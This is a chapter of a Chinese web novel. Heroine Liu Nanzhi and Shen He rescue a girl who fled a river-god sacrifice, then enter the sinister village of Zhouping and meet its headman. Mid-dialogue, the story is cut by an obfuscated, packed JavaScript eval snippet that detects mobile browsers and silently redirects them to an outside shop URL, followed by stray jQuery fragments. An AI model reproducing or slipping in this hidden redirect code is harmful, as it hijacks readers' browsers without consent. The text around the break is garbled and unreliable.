如遭雷击般愣住,她忙搀扶住女孩递了块葱油饼过去,待女孩哭着咬了几口后,哽咽道:“我的姐姐们都死了……她们前些年也是被送去嫁了河神,出嫁的时候风风光光举村同庆,但是我亲眼看到她们全都被溺死在河里,村长也跟疯魔了一样信那些外来的人”
她许是很久没有进食,狼吞虎咽地咽着饼,干巴发硬的饼渣呛在嗓子里,可她还是拼命的往嘴里塞。
柳南枝捋过女孩的发丝,从腰间取出水袋,给她时间冷静,一边的沈郃把自己的手帕递过去,柳南枝接过默默给女孩擦拭着脸上的水渍,良久,才稳住心神道:“不怕不怕,我们来了,你叫什么名字?”
“宋静女……”呜咽着蜷缩膝盖啜泣,对先前经历过的事刻骨铭心,她的嫁衣破出几个窟窿,柳南枝于心不忍见其如此模样,脱下外衫披在她身上。
众生多疾苦,奈何她人薄言微。
这样的事在柳南枝流亡时见的不少,当时百姓们为了祈求一方神明保佑,闹出大大小小的事。
罢了,所做的不多,不过锈雀楼多几个人也不是难事。
“你是从周坪跑出来的吗?我们是……咳咳,官府派来彻查此事的”柳南枝像个大姐姐一样安抚着宋静女,不急着让她回忆起那么多痛苦的经历。
宋静女一把卸下头上繁重的首饰,把头饰丢到一边,沉重道:“是,那里的人已经全都疯掉了,就连我的父母也……不提了,几年前周坪来了伙人,说是‘济天教’的信徒,还来了位圣女,庄稼一年多都颗粒无收,他们说只要信奉河神大人便可保风调雨顺”
“要真是拜神能把庄稼拜出来,那他们拜我岂不是发财了”柳南枝微挑了眉,耸肩说着。
得了,千万别有人拜她。
宋静女又哭又笑,头靠在树干上,眼神中没了少女的青涩,无力道:“没有办法的,当时村里已经有好多人饿死,不信河神就是死路一条,大家只能听他们的每年祭拜所谓的河神”
沈郃听到此处,道出了自己的疑惑“所以这么做真的有效果吗?”
“其实我觉得,并没有,因为耕地早就旱死了”宋静女略一思索,捂着头痛苦道:“他们拿了一些东西,能让人吃了就饱,代价就是要在村里修什么祭坛,有人吃的肚子被撑得大了几圈,还是不知足的吃……最后肚子被撑开,死在了村里”
鸟为食亡。
民亦为食死。
“……沈郃”柳南枝扶着让她单独一人休息会,自己起身与沈郃走到一边,压低声音道:“你那只游隼还能唤来么?我想给锈雀楼传封信,黑鸦在逢满那儿我叫不来”
“小事”沈郃配合地吹了声口哨,游隼这次展翅落地没有到它的主人那儿,选择立在了柳南枝的肩头,蹭着她的脖子兴奋地叫了两声。
“好啦,别闹,有点痒”游隼像听懂了她说话似的,委屈地蹦了几下,耷拉着脑袋,头顶的羽毛都黯淡失色了不少。
柳南枝随意拽了一把草籽丢给游隼以示安慰,从怀中取出一张小纸,寥寥写了几个字,打开竹筒挂在游隼的腿上。
确认无误后,沈郃放飞了游隼令其飞向锈雀楼所在的地方,转而回头笑道:“小白考虑的很周到,若放任宋静女不管,不出七日她必定会死在这里”
“我见不得人受苦啊!”柳南枝对其遭遇痛惜,怪她查到的线索太少,来的太晚。
若是能再早上个几年发现这地方,她就能救下更多和她一样的人。
可惜,没有如果。
一个鼓囊囊的袋子出现在她手心,那可是她自己攒了好久的钱,柳南枝微敛了眸,走到宋静女跟前蹲下握住了她的手,大方道:“这点钱你收下自己留着,大约往外走个几公里,那里会有个人等着,如果没来就多等等她,她叫姜逢满,会好好安顿你,对了,走的时候别走大路,尽量藏在林子里跑”
宋静女受宠若惊地睁大了眼,没想到有人会这样对待自己,自己的父母弃她如草芥,而这个认识都不到一个时辰的人,居然愿意毫无保留地伸出援手。
“静女多谢恩人救命之恩……今生愿为恩人……”
还未等宋静女说完,柳南枝便摇头摸了摸她的发顶,莞尔笑道:“我救你不是为了你能回报我,女子在世上有诸多不易,今日无论是谁我都会帮她,所以不必太在意此事”
“不行的恩人,书中说,再生之恩,死当衔环”宋静女脸上的泪痕还未干涸,语气却是坚定如铁。
“好啊,那就成为你心中想成为的人,待那时候,就算是你还恩于我了”柳南枝摆摆手,与沈郃渐行渐远,声音犹如惊涛骇浪般打在宋静女的心间上。
从小她就被灌输女子需得会烧水做饭的思想。
相夫教子,或许这个词会伴随她一生。
所以她日夜操劳,怕惹得以后夫家的不快,惹得以后婆婆的厌恶。
还从未有人告诉过她。
要成为自己心中想成为的人。
也从未有人告诉过宋静女,女子也能不用循规蹈矩地听从世俗的规训。
宋静女抿嘴抱住袋子,呆愣愣静立在那里,手不自觉攥紧了衣角,一袭红嫁衣隐在带着竹叶气息的青衣之下,她整个人像是小鹿般穿梭在林间。
那是静女第一次。
如此拥有自我的奔跑在大地之上。
他们朝着宋静女逃跑的反方向深入山林,越往里走越是寒意砭骨,林间雾气缭绕,树枝上缠绕上乱作一团的线,吊了许多黄符纸。
脚下一声清脆的破碎声传来,沈郃抬脚一看竟是一个人的头骨,头骨布满密密麻麻的空洞。
像是……某种虫类的撕咬。
身后一阵簌簌声由远及近飞快袭来,一只环青蛇盘在枝头伸长脖子,张开血口逼近柳南枝。
尖牙距离她仅有几寸的距离时,一抹寒光以极快的速度斩出,蛇身顷刻间被沈郃劈成两半,鲜血猛地飞溅到旁边的树上。
树干即刻腐烂枯萎。
“当心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598301|205516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,这里的蛇是剧毒之物,咬了一口神仙也难救”沈郃隔着长袖牵住了她的手腕,另一只手紧握着剑提防着周围。
柳南枝吹燃了火驱散开浓雾,悄声道:“萧扶苏究竟想干什么,这种毒物原本只在古楚国那边会有,害人不浅,我估计那头骨也是被这蛇咬的”
她脸上涌现一股说不清的情绪,又道:“身为一国皇子,容许这种事在他眼皮底下发生,真不知道是说他蠢,还是说他聪明”
谈话间,二人缓步到了周坪村的村口,村内一派冷清,旁边大石坐着个人,走进一看见其身上衣着破烂,蓬头垢面打着赤脚。
隐隐还有一股不明的气味,柳南枝呼吸不由自主地浅了几分。
好臭……
“外乡人……?”那人从头上扣下来一只跳蚤,掐在指甲里看了看,随即把跳蚤捏死随意地丢掉。
沈郃道:“阁下,请问这里是周坪村,对么”
“来了可就出不去了”那人阴恻恻地傻笑,嘴角咧到了牙龈,柳南枝再往后看去,见他背后背着一个麻袋,里面鼓鼓地装着东西。
“此话怎讲啊?阁下”柳南枝抛着硬币百无聊赖地说着。
“嘿嘿……河神大人不喜欢外人冒犯他老人家,你们死定咯!”
“你们死定啦!”
疯子癫狂地嗤笑,身上的恶臭随着动作传来,他手舞足蹈地指着他们二人笑,嘴里哼着一曲鬼歌谣冲进林里。
岸上纸钱烧余烬。
舟下骨笛唤无名。
神明不系生人语。
偏钓寒江三丈冰。
柳南枝无语地揉着眉心,眼瞅着疯子咿咿呀呀地唱着,自己却毫无办法,只得领着沈郃进了村庄。
村中的景象毫无活人气息,死寂得更像是话本中的地府,屋舍门窗怪异紧闭,沾着血的纸钱散落满地。
“这周坪村确定不是个空村,我怎么感觉更像义庄”柳南枝拾起一片纸钱,上面写满了符文。
“来客人了?”苍老的声音从后方传来,二人纷纷回头望去,一人拄着拐杖行至他们面前。
沈郃装作普通人一样,道:“您就是这里的村长吧”
“这村里多少年都没来过年轻人了,快来坐坐”村长摸着山羊胡慈眉善目地欢迎他们的到来,挽着两人的臂弯跟爷爷看亲孙子似的。
要不是置身于这个诡异的村子里,她可能真的不能把这样一位和蔼的老人联想的有多么坏。
可惜,整个村子与天机楼有瓜葛。
沈郃开门见山道:“这里是不是在祭拜一个河神”
村长眉宇间透露一瞬阴鸷,忙否认道:“村里的人不过图个吉利,还不至于祭拜”
”
柳南枝见从这老头嘴里骗不出来话,脑中灵光一闪,忽然挽住沈郃的手臂,笑道:“嗨呀,村长你就别开玩笑了,我和他是商人,道上早就听说了河神灵验的故事,求了几方神明保商途都没什么起效,这才不远万里前来祭拜一番”